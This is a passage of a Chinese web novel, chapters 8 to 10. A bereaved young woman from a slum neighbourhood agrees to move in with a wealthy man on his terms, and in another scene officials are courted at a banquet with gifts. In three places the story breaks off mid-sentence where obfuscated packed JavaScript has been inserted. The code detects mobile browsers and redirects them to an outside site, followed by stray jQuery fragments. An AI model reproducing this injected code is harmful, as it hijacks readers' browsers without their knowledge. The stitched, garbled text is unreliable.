“我来抓他。”姐姐指着弟弟,“跑网吧来了,气死我。”
弟弟说:“我又不念书,那么贵。”
因为是外来人员,他们的子女要交一大笔借读费,令冉班里也有。
“不念书想干嘛?初中毕业证都没有能干嘛?”
“念大学也有找不到工作的。”
做弟弟的年纪小,却什么都知道,两姐弟吵起来,姐姐请令冉评理,她没法评,她见过这姐弟家里,住垃圾场旁,也是违建,逼仄、闷热,十里寨拆了他们能到哪里去都不知道。
“你呢?还念吗?”令冉问姐姐。
姐姐说:“不念了,想让他念。”
弟弟直嚷嚷:“谁让你这样啦?你这样我也不感激你。”
姐姐冷酷道:“不要你感激,反正得念,家里就你一个小子,不念不成。”
弟弟扭头跑开,姐姐只能去追:“小辉!小辉!”他们避开路边玩耍的孩子,那些属于原住民的小孩,要什么,大人给买什么,因为很快就会发财,几辈子人都没见过那么多的钱,想想简直没法睡。
令冉站着不动,身体叫灵魂压住了一样,灵魂太重太大,身体要装不下了。十里寨也太挤,没法呼吸,头顶是一线天,她早觉得灵魂离开了这里,可低头一看,身体还在。
她不愿意上楼去,听五奶奶说那些事,一桩桩,一件件,全都无聊,丑陋,起小就见就听,腻得不行。她要听什么看什么,其实不清楚,她想到一个更开阔、更清新的地方去,跟妈妈一起。她需要新的体验、感受,骨头里藏着什么澎湃的东西,喷涌不出来,顶得胃疼。
十里寨是笼子,市中心那些好房子也像笼子,什么样的笼子住什么样的鸟,又或者,是笼子在找鸟。她还没飞,就淋了暴雨。
眼睛一抬,她看见巷口走近个人,已经算作很熟悉的一个人了。
在阳光下,才发觉陈雪榆这人五官尤其深邃,脸上有影子,不像面部平的人,一跟太阳照面,眼睛下意识去眯,仿佛他的眉毛就能遮挡光。
令冉心跳得快了点,陈雪榆是个新鲜的人,她真傻,上回怎么能那样说呢?多幼稚多可笑,他心里一定这么看。
她好像长出一丝微弱的心情来,那样微弱,却能勃勃跳动,她静静等他再近些,还是只拿眼睛去注视他。
陈雪榆是为她而来的,知道她的名字,知道十里寨,找到这里一点都不难。
他先露出笑:“还是这么巧,正想再问问路,你就在这儿。”
好像上回什么不愉快都没发生,确实也不算,两人至多算见了几面的人。
令冉听出他意思来了,她想细细感受下当下的心情:“我一直在这儿。”
陈雪榆笑意含蓄,说的话却不怎么含蓄:“介意我找个地方说话吗?”
令冉要他等一下,把草帽送上楼,再下来时,问陈雪榆:“能去咖啡馆吗?那种好一点的地方,我没去过。”
她说的太自然,语气、神情,都恰到好处,压根不会让人有任何不好的联想,譬如爱慕虚荣之类。
她也没有少女的不好意思、拘谨。
他既然出现了,她就一定要跟他发生点什么,什么都行。
陈雪榆把她带到一家新开不久的店铺,环境清幽、隐蔽,大约开车半小时才到,半小时,世界从十里寨换到这样的地方,任谁感觉都不赖。
他还是很绅士,在前面开门,那门一动上头铃铛作响,清脆悦耳。
陈雪榆带她上二楼,要了个靠窗的包间。
8.第 8 章
玻璃四面剔透,能看见外面汪汪的一片绿,在热浪里浮动。
“看看吧,还有甜点,喜欢什么点什么。”陈雪榆递给她菜单,令冉第一次来,“我不懂,没喝过,你帮我选一款行吗?”
陈雪榆笑道:“可以,喜不喜欢吃甜点?”
令冉问:“蛋糕吗?”
她突然感到一阵悲哀,要了份草莓蛋糕。
“这儿有股味儿。”
陈雪榆四下看看:“是闻到什么了?”他鼻子没毛病,一丝味道也不见。
窗子是能开的,但天气热,陈雪榆征询她要不要开下窗。
“你误会了,我的意思是,一个地方有一个地方的味儿。我一坐进这里,就发现跟十里寨的味儿不一样。”
令冉只要愿意开口,她是很会说话的,她也很会聊天。
陈雪榆目光回到她脸上:“你一直住十里寨?”
令冉道:“对,哪怕闭着眼走近了,风里那个味道都知道是十里寨,各种小吃、人晾的衣裳、泼出来的污水,还有人身上淌出来的汗气,混在一块儿,就是十里寨的味儿。”
陈雪榆微笑:“这儿呢?”
令冉环视一圈:“干净,还有点说不出的香,它肯定一直都是这个味儿。人也一样,交谈几句,说出来的话,做出来的神情、动作,每个人的味儿也不一样。”
陈雪榆脸上是认真的,仿佛在体会着她的每一个字。
“我们见过几次了,你觉得我是什么样的?”
令冉便把说过的话又讲一遍:“道貌岸然,你忘了吗?是个中性词,你有你的秩序,不能移动的地方,而且做的很好,我还没见过像你这么有风度的人。”
这个词,怎么看都不像好话,也无所谓了。
“听起来倒像是说我虚伪。”
“很少有人不虚伪,好像要上台表演总得化化妆才像样子。”
“我以为,你很腼腆不爱说话的,没想到你这么有见解。”
“我确实不喜欢跟人说话,我挑剔,也没什么可说的,说来说去,世界上就那点事。”
“什么事?”
“小孩子努力念书,为前程,最好能跨越阶层。大人为钱为权,再掺和点你抢我夺、男男女女的事。等老了,没人再会对你感兴趣,你渐渐失去能量,变得无用,但可能非常不甘心,那又怎么样呢?还是要死,跟那些突然早逝或者夭折的小孩比,只不过是一点一点死掉的,持续了一些年头。”
她说的非常轻,非常秀气的口吻,这样青春美丽的脸庞不应该说这种话,但又跟她那有些虚渺的神情奇异吻合。
陈雪榆沉默着看她,没做点评,只是说:“还有没有什么想做的?”
令冉摇头:“不清楚。”
陈雪榆道:“至少此刻愿意跟我说话?”
她笑了,看眼窗外又坐正:“对,我现在有说话的心情,值得珍惜。”
她跟他认识的任何人都不像,说是女孩,或者女人,都不够准确,她好像看着一下子来了兴致。
陈雪榆没法预判她下一句要说什么,咖啡端上来,令冉观察了那杯子,青花瓷一样,她说这杯子好看。
“梅森的杯子,这是德国的一个品牌。”陈雪榆给她介绍,她嘴角便流出些似有若无的嘲讽,不知是什么缘故。
“我以为是国内哪个瓷器镇上的东西。”
陈雪榆解释说:“德国这个牌子最初确实仿制过中国瓷器,你看着眼熟,也是正常的。”
令冉审视起他,这个男人说话的语气、神态,整个人的风格,就是属于他这个人的“味儿”。
她不是第一次审视他了,不觉得害羞,目光是一束静谧的秋光。
“你经常请异性喝咖啡或者干别的吗?”
这样问私事,是很唐突的,她似乎不觉得,他回答可以,不回答也可以。
陈雪榆搅动起咖啡:“你这么问,说委婉不委婉,说直白不直白,干别的是指什么?约会?”
他当然不能说上床,太俗了,说出来都玷污这么美丽的女孩子似的,他是想问她是不是这个意思,一下说到这个地步,也不合适。
“要是经常,”她顿一下,“我就是很平庸的一员而已,我不想跟任何人为伍,虽然我不清楚我想干什么。”
她尝了尝咖啡,味道怪,说不上好还是不好,她天生有一种优雅的姿态,一点不像十里寨的人,那里的人总是很忙、很急、很大声,也有热闹快活的时候。
这儿环境太幽静,让人仿佛置身全新的空气里。
话就要这样模棱两可才迷人,黏黏的,不够清晰,陈雪榆不愿打破这种状态。
“你还年轻,有的是时间想清楚自己想要做什么,想要什么。”
他像是有意避开她的问题,看她还要不要继续探究。
令冉没再问,她品尝起蛋糕,原来味道这样好,暮色便跟着这味道一点一点加到心里来,直到一颗心完全地黑去了。
她抬起脸,对陈雪榆嫣然一笑,其实没怎么看清楚他的脸。
这个样子,极短暂的,非常令人心动,这样的一瞬间任何男人都会把她当作女人来看,一朵活的,热的甜的玫瑰。
陈雪榆问道:“好吃吗?”
令冉点点头:“我得谢谢你,请我吃这么好的蛋糕,总得有条件,你说吧。”
她很聪明,不是什么都不懂的稚气少女,相反,她的思想、灵魂都寄居在一具太过年轻的身体里,总想挣脱出来,心底在期待着什么,又觉得毫无意义。
陈雪榆意味深长问:“你觉得我应该开出一个什么样的条件呢?”
他的神情里,一闪而过男人的某种原相、本相。令冉捕捉到了,男女之间不是温情脉脉,客客气气吃饭,这一切是前奏,或长或短,男女之间是一场暴力行为,关乎权力。令智礼在,她跟妈妈安全,旁人知道她们是这个男人的妻女,是他的所有物。他一旦离开,旁人有了骚扰母女的正当权力,肖梦琴总不愿她勤回家,她十三四岁时,便有男人的目光黏她身上,哪怕她不去看,也知道后面有一双双眼睛。
她一直被各种各样男人看,现在,也被陈雪榆看,令冉太清楚这些,她没有因此激愤、羞耻,也没有恐惧,如果一定要被一个男人看,陈雪榆不赖,他高大、英俊、慷慨,言谈举止都恰到好处,她不反感,只要把眼前的一切当作一个剧本,她走进去,扮演一个角色,一切迎刃而解。
她向来如此生活。
“我明白,坐在这样的地方,用这样的杯子喝咖啡,心平气和说说话,打发时间,都是有价格的。也许等我念了大学,工作后可以买到这样的场景,或者更快,等拿到拆迁款,就能做到。但我现在提前享受了,总要拿什么来付账,你不用问,既然来找我,心里一定是想好的。”
陈雪榆凝视她片刻:“好,你比我想的还要聪明,我可以帮你,确实有条件。”
“你不先问问我有什么难处吗?”
“不用问,你有什么难处我都可以帮。”
“你不问的话,怎么知道能不能帮得了?”
“只要不是让我替你去杀人越货,都帮得了。”
令冉终于肯笑一笑:“如果你骗我,我会和你同归于尽的。”
她没有威胁,像说他道貌岸然那样中性。
陈雪榆一点也不生气,声音柔和:“你妈妈的离开,对你打击一定很大。”
令冉眼睛迷离:“不知道,她叫火烧死了,我们本来要一块儿吃蛋糕,平时我们不舍得吃的一家店,价钱比较贵,”她突然不愿意说了,“你说条件吧。”
陈雪榆微微颔首:“搬过来和我一起住,我一直独居,能接受吗?”
这就
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16740047|188874||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
完全是赤裸的了,没有进退拉扯,徐徐图之,令冉心跳还是快了:剧情跟她预想的一样。但他说话的样子,还是那么有教养,好像在问,咖啡还喝得习惯吗?
陈雪榆是男人,男人的世界是长长的隧道,她还不曾进入,她对同龄人一点心情都没有,说话索然无味,他们感兴趣的她都没什么兴趣,她刚进入青春期,就幻想男人,干净、成熟,有别于十里寨气息的那么一个男人,身体的发育变化,对她来说,也是一个全新的世界,只要有别于当下的世界,她都会振奋一下,为数不多的激情所在。
令冉总是轻易流滑进自己的精神世界里去,她久久不说话,陈雪榆以为她在思考,她没有,她只是想起很多细枝末节。
“需要再考虑考虑?”
令冉回神:“不需要,我不能总住邻居家,等拆迁款下来,就像古话里说的,犹如稚子抱金招摇过市,很危险的。还有,我是女的,就更危险了,跟你住一起,我不用担心这些对吗?”
她逻辑清晰,把事情想的周全细致,完全超出一个高中毕业生的心智,但面对一个男人的邀约,又显得这样草率、轻信。
陈雪榆望着她沉静的面庞,若有所思:“有没有想问问我的?”
“问什么?有女朋友吗?结婚了吗?你一直独居,至少没结婚,有女朋友的话,我无所谓,你既然想好的事,一定安排妥当了,你如果没有道德负担,我为什么要有呢?即使有什么漏洞需要填补,那是你要考虑的,不是我。”
明明是很锋锐的话,从她嘴里出来,却不是这个气质了,她显得柔弱、无害,有自己的一套逻辑而已。
陈雪榆道:“确实,我还担心太直接会吓到你,看来是我多虑。”
他还是很好看地微笑着,一点不觉得有什么不合适,也不会感觉龌龊,这么坦然说欲望,说再下流的事情,也是温文尔雅,仿佛话到他嘴里就成了另个样子。
他坐着也身形舒展、流畅,看着美好,从青春期起就躁动的东西,似乎顺着血液,又奔流起来。人真是太复杂,太奇怪了,她没有悲痛欲绝,她看着眼前的男人,觉得跟幻想里的一点影子,有了重合,她需要一种感觉,像一直以来那样,世界非常矮,到处吵闹、到处腌臜,她想吃点什么,穿点什么,不一样的东西,最表层的感官享受改变一下,也能让她的心好过一点。
陈雪榆的样貌、穿着打扮,一举一动,无疑都是新鲜的,她不在乎灵魂那种东西,此刻眼睛能看到的,就已经很好。
“为什么这么一直看我?”陈雪榆笑问道。
令冉说:“想看清楚些,要不然不知道是什么人。”
陈雪榆伸出手,她以为第一下碰触要来,他却是推蛋糕:“奶油要化了,”他眼风微微一动,“我是什么人,你是什么人,我们都还需要时间了解,不急。”
令冉眼睫垂下:“你的手很好看。”她的老师手太宽厚,关节粗大,板书时能瞧得一清二楚,男同学们的?倒不值得留心,她只觉得他们满脸青春痘,要么很吵。
陈雪榆当真扫过去一眼,笑得文雅:“是吗?我第一次听人单独赞美这双手,希望以后不要让你失望。”
令冉从他眼睛里再次捕捉到那样一种本相,转瞬即逝,他显然是很克制的,每个毛细孔都不曾流淌出一分一毫的情或者欲。
“你可以再想想,不用立刻做选择。”陈雪榆像是替她考虑。
“不用想。”她简洁明了。
陈雪榆说:“不管怎么样,你一个女孩子,总是吃亏的。”
令冉镇定自若:“我的算法和别人不一样。”
陈雪榆始终和颜悦色:“这么巧,我的算法也和别人不太一样。”
令冉对他笑笑,她扭头看外面,街道干净,树木宁静,她从来没跟妈妈这样好好坐过,想到这,心像下楼梯时突然踩空的一脚。
9.第 9 章
陈雪榆晚上有个饭局,这次请的是住建局局长,局太多,哪些人能凑一块儿,哪些人不能,请客吃饭都是有讲究的,该花的茶水钱,一分不能少。
人也形形色色,有人端着,有人狡猾,有人脸皮厚手直接伸到眼皮子底下。又或者,事情进展好好的,突然冒出个部门说你这不合格,那里违规,总是要解决的。
吴局长来晚了,同行的是女副市长的秘书。
吃饭的地方很隐蔽,是处古建,鲜有人知,外观有些陈旧不起眼,里头却别有洞天,能做私人高级宴会。
吴局长一来,便笑道:“导航都找不到的地方,够偏的啊!”
今天陈雪林也在,他认识这秘书,客套几句人都坐下了。吴局长介绍秘书说,“过几天柳市要去外地做个调研,小叶明天就过去,我跟你们说,小叶人虽年轻,写得一手好文章,小叶大学读的什么专业?师范是不是?”
叶秘书谦逊地微笑着,点头称是。
“小叶念书的时候,就会写文章,才子,来来来,小叶,雪林你认识,这是锦荣实业的二公子陈雪榆,我跟你说,他念书时听说也能写文章,博览群书!你俩该好好聊聊!”
吴局长非常健谈,只是不知道从哪里听说陈雪榆是会做文章的人,陈雪榆笑道:“吴局谬赞了,我哪会这个,不过念了几天书,论专业性跟叶秘自然没得比。”
能给领导写稿子的人,是要有点本事的,领导去调研,你要先过去搞清楚是哪些事,从哪几个方面去说,稿子要明了,领导是不可能事事亲为,什么都知道的。叶秘书三十出头,很自矜,却也很能喝酒,酒是什么档次的酒,一入口就知道。
陈雪林亲自给人倒酒,笑说:“吴局还真说对一点,雪榆是个爱看书的人,不像我,一看书就要发困。”
“好了好了,”吴局笑着去挡,“太多了,雪林,我可是知道你酒量的,你得满上!”
陈雪林一向豪爽,酒量惊人,不上脸,也不会发酒疯,不像有的男人,喝多了便露丑态,胡言乱语,脱衣服,尿裤子,清醒后什么也不记得。
“雪榆呢?”吴局长一见他杯子里那点酒,脸一垮,“雪榆你这就是不给我面子了。”
陈雪榆微笑着斟满,仰头一饮而尽,冲吴局长亮了亮杯底,吴局长兴奋起来,“好,好,走一个走一个,小叶,你也来!”
吴局长上脸,很快那面孔成猪肝紫,油光光的,倒是叶秘书,戴着黑框眼镜,嘴唇厚厚的,打了发油,人很精神。陈雪榆含笑陪着这两位说话,他在这样的饭局上永远是最好的聆听者,专注,会接话,不过分殷勤,也绝对不冷淡,他跟陈雪林大开大合的风格完全不同。
旁人看,他是很内敛的那种人。
这家会所的菜肴非常讲究,菜贵,酒也贵,陈雪林又起身,亲自给两人布菜。
“吴局,叶秘,来尝尝这家的黄油蟹。”
“唔,这是青蟹?”吴局长很有兴致。
几人围着螃蟹讨论起来,桌上还有鲍汁扣花胶一类海珍品,吴局长是个美食家,酒要求不高,一定要吃好的。他早年家境贫寒,据说幼年时有吃不饱经历,一是饿怕了,二是穷怕了,这是吴局长生平两大畏惧事。
陈雪林同为行家,洋洋洒洒,言谈间时不时爆出一二爽朗笑声。半途,吴局长接了一通电话,也不避讳,当着几人面说完,挂掉道:
“老家正盖房子,找人看,说门口得放块石头,我是不信这个的,没办法,老父亲深信不疑,非要我弄块石头回去。”
“吴局老家什么地方?我有个做玉石生意的朋友,也略懂风水,可以上门看看,帮吴局参谋参谋,这个东西,不能说全是迷信,任何事都讲究天时地利人和,老一辈讲究这个是传统。”
陈雪榆很自然接过话头,他人漂亮,气质温和,这样的话说出去一点谄媚的感觉都没有,吴局长笑道,“麻烦,老人家想一出是一出。”
陈雪榆说:“不麻烦,正好那朋友懂一些,要不然也不敢随便上门,”他又很自然地转向叶秘书,“叶秘是文化人,不知道对篆刻有没有过研究?”
叶秘书推推眼镜,笑道:“陈老板这么问,看来研究过,我倒显得班门弄斧了,不过大学时确实迷过一阵,如今工作忙,闲的时候当个爱好权当放松了。”
陈雪榆点头赞赏:“叶秘书雅致。”
叶秘书说:“要说雅致,比吴局差远了。”
吴局长喜欢邮票,收集绝版邮票。
说起邮票,他摆摆手:“嗐,那玩意儿马上退出历史舞台了,年轻人谁玩这个。”
陈雪榆道:“听说这两年邮市行情还不错?”
吴局长道:“前年,包括今年确实不错,不过这个东西长远看肯定是没戏,年代不一样了嘛,我也就是个爱好,没什么经济价值。”
价值有没有不清楚,价格是有的,最贵的一张十万块。
陈雪榆笑道:“经济价值能算的出来,但也不只有经济价值是价值,精神层面一样的。”
吴局长看着大家:“我就说,雪榆生意做的好,还是个高材生,你跟他聊什么他都知道,好像就没这个人不知道的东西。”
陈雪榆道:“吴局又谬赞了,混口饭而已。”
陈雪林笑笑地看过来两眼,又开始新一轮的劝酒,吴局长再喝,豪兴也起来,搂过陈雪林肩膀,开始称兄道弟,陈雪榆在旁边微笑看着。
看什么呢?陈雪林时不时跟他碰着目光,他们是兄弟,但实际在一起生活的经历非常少,彼此不了解。陈双海了解这个儿子吗?也未必,天晓得他在国外学什么,做什么。
他们都以为他早早出去,肯定是洋鬼子做派了,即便回来,那一定不太适应国内的人情世故。恰恰相反,陈雪榆一回来,便是很自如的样子,从没离开过似的。该怎么说话、怎么做事,炉火纯青,不浮躁,不油滑,太有眼色,好像生来就是叫人愉快的。
但他脑子里怎么想的,那就只有鬼知道了。
陈雪林自觉对他有点感情,但他们这样的家庭,感情是很虚的东西,他对人家有感情,也许别人只喝他血,吃他肉呢?
这顿饭吃得够久,出来还得拉扯那么一会儿,陈雪林安排司机送这两人。
“怎么样?雪榆,脑子还清楚吗?”陈雪林双手叉腰上,大喇喇站那看他笑,“我知道你不爱喝,能怎么办呢?”
陈雪榆酒量也很好,他一般只一杯,剩下再喝借纸巾拭嘴时便暗自吐掉了。他很爱惜自己,不是那种沉迷酒色的人,太不自律,也显得丑陋,一个人长期浸淫那玩意儿是会变形的。
“还行,回头我找人把东西送乡下去,再给叶秘书拿田黄石。”陈雪榆身上沾染烟酒气,他轻轻一掸,“你怎么走?我让小张先送你?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16750510|188874||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>陈雪林笑道:“你脑子清楚,你来开吧,咱们兄弟再说说话。”
“我喝酒了。”
“喝酒又怕什么,查到了我给你找人。”
陈雪榆笑笑:“何必弄那么麻烦一出?你上来,让小张先送你。”
陈雪林习惯性去揽他肩膀:“你小子,一直都爱装。”
陈雪榆道:“我是不想麻烦。”
陈雪林要去一个女人那里,他生活里不能缺少活色生香的东西,一刻也不能少,要不然,总觉得怪寂寞的。他不太能理解陈雪榆一个人住,连个女人也没有的生活。
“爸想给你牵个线,那天提了一嘴,毕竟你也老大不小了。”
陈雪林凑他跟前,“你跟大哥说说,是不是留学的时候受过什么情伤?”
司机小张是个很有分寸的人,不该听的,一个字也不会听进去,陈雪榆道: “没有。”
“你怕女人?”
“谈不上。”
“喜欢男人?”
陈雪林说话也放肆,哈哈大笑:“我知道国外开放,喜欢男人也没什么大不了。”
陈雪榆说:“我不喜欢男人,大哥喝多了。”
“对女人还是有兴趣的?”
陈雪榆微微一笑:“有。”
陈雪林热络不已:“说说看,喜欢什么样的,我给你物色物色。”
陈雪榆知道他对女人的兴趣很深,谈过的女朋友,不计其数,这么一个看着做什么都很狂放的人,其实心里什么都有数,从不出乱子。
“大哥猜我喜欢什么样的呢?”他不想回答的时候,就会把问题扔回去,陈雪林发现了这点,真美好的夏夜啊,他几乎想赞叹,一聊女人他心情就愉悦起来。
陈雪林说:“漂亮的,不能是草包,得有点文化,不能咋咋呼呼,也不能太闷那样没意思,我猜的对不对?”
他自己对有没有什么高学历倒不在乎,他喜欢世俗一点的女人,会撒娇,热乎乎的,适当作一作,床上放得开,这样的最好了,但不能真给他惹出麻烦,那就头疼了。
陈雪榆不置可否,眼睛往外头看去,外头无非晚风,街道,都市的夜。莽莽的楼里缀着光,车灯昏暗暗把人的脸庞轮廓印到玻璃上去,他好像瞧见了自己,却只是个虚影儿,得别人看才成。
“大哥替我设想的不错。”
陈雪林真心实意劝他:“趁结婚前,看上谁就跟谁认真搞一搞,等结了婚总不方便,离婚更受罪,要算账分钱,别学我。”
陈雪榆笑,谁说要学他了吗?他不习惯跟陈雪林亲近,陈雪林清楚,但依旧要做出大哥的样子。
“考虑考虑我说的?”
“我尽量。”
“雪榆,你看看你,跟我说话总这么客气,太生了,你也回来两三年了,是不是?”
“大哥希望我对你不客气?”
陈雪林心里一惊,转头笑了:“看你这话说的,把天都聊死了,走吧走吧,真是怕你。”
陈雪榆笑笑,不再说话。
他把陈雪林送到目的地,是某个公寓的门口便利店,店亮着,白白的光,有个身姿婀娜的女人穿着件深色吊带裙站那儿,陈雪林一下车,大步走过去,几乎是把女人卷到自己怀里,两个人都鸟儿似的轻盈,在那白的光里燃烧起来,很快,往夜色里走,火光却拖了一路,星星点点,还烁烁四溅着。
10.第 10 章
陈雪榆在令冉要报志愿的前一天又碰了次面。
他来找她,险些被楼上掉下来的花盆砸到,抬头往上看,头顶阳台飘着松松垮垮的内衣裤,往下滴水,一个乱糟糟的脑袋冒出来,又极快地缩回去了。
电线杆上贴满治牛皮癣和无痛人流广告,门面敞着,藤椅里坐一个赤裸上身的中年男人,兀自剔牙,斜眼目送陈雪榆打门前走过。
面馆前排了长队,附近工地的人过来吃饭,三块钱一碗的素面条,可加咸菜,没有人加肉。
空气浑浊,人也浑浊,真是影响心情啊。
陈雪榆是非常爱干净的人,他脑子里想过一个身影,她是从这里走出去的,背景实在太破、太吵,卫生也不行,明明这两旁的房子、乱停的车、垃圾,几乎挨着她,却不能近身。
这样的环境里,竟住着那样一个女孩子。
令冉正趴阳台往下看,看人收废品,是六十岁左右的老夫妻,腮颊红着,一身衣裳褪了色。
三轮车装得真高,老夫妻便矮下去。
东西堆一地,小孩子的书本作业也拿来卖,老汉脸涨得通红,挑起秤杆:“看,高高的!”
女人不怎么耐烦,兴许是热的:“行了行了,我又不认得秤,人家都电子秤,你这麻烦死了。”
老头赔笑道:“大姐,电子秤坑死你都不知道,我这不能作假。”
女人说:“谁知道你假不假,快点啦!”
算账,给钱,女人要那六毛凑个整,老汉说利薄,拉扯了那么一会儿,女人翻着白眼上楼。
老两口慢吞吞绑绳子,往下一拉,再拉,不急不躁,这样拉好了,后头却漏掉一片纸壳子。老夫妻都没话说,仿佛要省说话的力气,又或者是默契,老汉把那纸壳子捡起来,绳子松开,重新绑,一丝不耐烦也没有。
是这样的麻烦,没一个字抱怨,好似天生就要过这样的日子。
令冉抱着一沓试卷资料下楼给他们,老汉要称,身后卖甜酒的小车子突突过来,打空了的洗洁精瓶子上轧过去,砰一声,唬得人一跳。老婆婆便慢吞吞走过去,把瘪半边的瓶子捡回来。
“不用了,你拿去吧。”她这么一说,老汉很高兴,嘴里道谢谢小大姐,走到三轮车前头,把座子一掀,放里面了。
地上那几只洗洁精瓶子被绑到车尾,叮叮当当,撞得响,车子摇摇晃晃开走,太阳光下,就那瓶子显眼,黄灿灿的,直到窄的路边突然更亮一霎,走出个人来,极其高挑。
衬得街道灰了下去,更肮脏似的。
陈雪榆也看见了令冉,遥遥地一笑:“总是这么巧,刚才往前看好像还没见你站这儿。”
令冉低眼笑笑,她见他不意外了,清楚是来找自己,过路的也往这边直瞟,兴许还有熟人瞧见,她要是丑一些,反而没什么说头,也不那么悲哀,越漂亮,人家越是注意到她,随时随地能想起肖梦琴的这个女儿。现在有年轻男人来找她,这悲哀就走味了,看,漂亮姑娘总是门路不可限量。除了念书,她的命运仿佛还有不可计数的可能,十分叵测。
“你记性真好,这儿不容易找,十里寨挺大的。”
陈雪榆笑道:“因为是找你,所以记得清,有时间吗?都没能好好跟你吃顿饭,吃完饭带你买买东西,看需要什么。”
流程真是快,这就要花男人的钱?令冉想起那几只洗洁精瓶子,眼前闪过烟轰轰的黄,不太真切了。
刚刚的前半句也像极了调情,她没跟人这样过,他一出口,那几个字就是那种意思,但他口气浅,重心自然往后,便没有什么轻佻感。
令冉没拒绝,早花晚花,她都是要花他的钱的,拆迁款落实前,她也不介意花这个男人的钱。
他肯定习惯给女人花钱,她尊重别人的习惯。
她一边说,一边跟他走了。
“能给我买点纸笔吗?家里什么都烧完了,想写写字画点东西。”
陈雪榆问说:“喜欢写字画画?”
两人顺着墙角的凉阴走,他肩宽,影子越界到光里去,令冉便盯着影子:“算不上,不过也没其他喜欢做的,没事的时候当个消遣。”
“上过辅导班吗?”
“没有,家里有字帖画册,跟着胡乱学学。”
“你一定有这方面天分。”
令冉抬眼看向他:“打发时间的,天分没这么廉价,我不会把这种当天分。”
陈雪榆停下来,上下看她几秒,又笑着往前走了。
他先带她来吃饭,选的法餐。这种地方一进来,很有情调,很幽静的感觉,陈雪榆记得她每句话,笑问道:
“是不是又闻到了一股味儿?”
令冉说:“难得你还记着,有时候我自己都不记得说过什么。”她穿的难免寒碜了,裙子总是发乌,这不能怪好心的女同学,不是每个妈妈都像肖梦琴,让白裙子永远雪白着。
都市最繁华的地段,不缺这样高档餐厅,她第一次来,有新鲜感,菜自然是陈雪榆点,旁边站着人,给讲解的。这就是纯粹吃饭了,有鲜花,有蜡烛,烘托着氛围,仿佛坐在这里的也天生该是一对俊男美女,时间自顾自流逝了,钱也是。
“还合胃口吗?”陈雪榆问道。
令冉实话实说:“没吃过,谈不上合不合,你经常来这种地方吃饭吗?”
陈雪榆道:“不经常,花里胡哨的,偶尔过来一趟换换吃饭的心情。”
有钱真好,说换心情就换心情,令冉瞥一眼他手腕上的表,很简洁又很美观,然而桌子上的餐具又换了,因为菜品也换了。
钱把吃饱饭这档子事无限拉长,愉悦起生命,吃东西成一件审美的事情。令冉端起杯子,尝了口葡萄酒,整顿饭下来,陈雪榆不过问她吃的感觉,喝的感觉,好像照顾她的感受是这顿饭的唯一目的。
就算是妈妈,最多也只问一句,好吃吗?
陈雪榆太细致,任何人被这样对待都要陶醉的,好像被爱着。
吃完饭,又带她去商场买东西。
他尊重她的一切喜好,买生活用品,问她床上四件套喜欢什么颜色。
当然还要买衣服、鞋子。
令冉喜欢美丽的颜色,美丽的衣裳,但她不怎么流露,这些东西会叫人高兴,高兴又太短,好像这颗心只是借具体的物件暂时还魂,不出几天,魂要失,魄要散,这些东西单单让眼睛不寂寞,高兴了一下。
无论买什么,都有人夸她,真心实意地赞美,因为一个人漂亮实在太客观,不像其他的可以伪装。白腻的皮肤、修长的四肢,小头小脸,走在哪里都很吸引人。
她穿什么,戴什么,反而成模糊的一片,一点也不重要了。
令冉心道他应该是满意的,她站他身边,是种合理合适能拿得出手的点缀。
她心里有点模糊的恐惧,不太具体,只是知道要付出代价,那是件不好的事,可又没实感,不像做试卷,也不像日常花钱,总有亲身经验。
不过也无所谓了,她目标明确,非要那样不可,心底甚至怀疑起来,是不是妈妈的死给了她陷入某种深渊的理由,她本就时时伸头窥探,这下好了,巧立名目,师出有名。
“再看看?”陈雪榆让人多介绍几样款式,令冉摸了摸,“我喜欢棉质,老粗布也行,不喜欢滑不留手的,我妈妈在集市买的就很舒服。”
陈雪榆便让人换她喜欢的材质,令冉要了一套苹果绿,一套紫色,再多不要了。
颜色清新美好,跟春天似的,令冉神情里有种慢慢起来的活泼:“这
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16755404|188874||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
色像学校的蓝花草,我听家里养花的同学说,蓝花草还叫日日新,天天早上开,傍晚谢,真是好命的花。”
陈雪榆也就跟着她一块儿看紫色的那套:“画过?”
令冉偏头一笑:“你怎么知道?”
陈雪榆也笑:“看来猜对了,运气好而已。”
“怎么猜的?”
“你会画画,对颜色肯定比常人敏感,有机会能看看你的画吗?”
令冉哂笑:“不了吧,这样的话我听很多,人家只是客气一说,心里并不想看,更何况,我画画不是为了让人看的。”
陈雪榆把头点一点:“说的对,很多时候嘴上一说,心里念头压根动也没动,但还是要说,有时人跟人要说下去只能这样。”他笑着换了话题,“或许聊点实际的更好,分数快出来了吧?”
学校……她还活着,活着就得继续念书,令冉问他:“明天出分,你比我阅历丰富,有什么建议吗?”
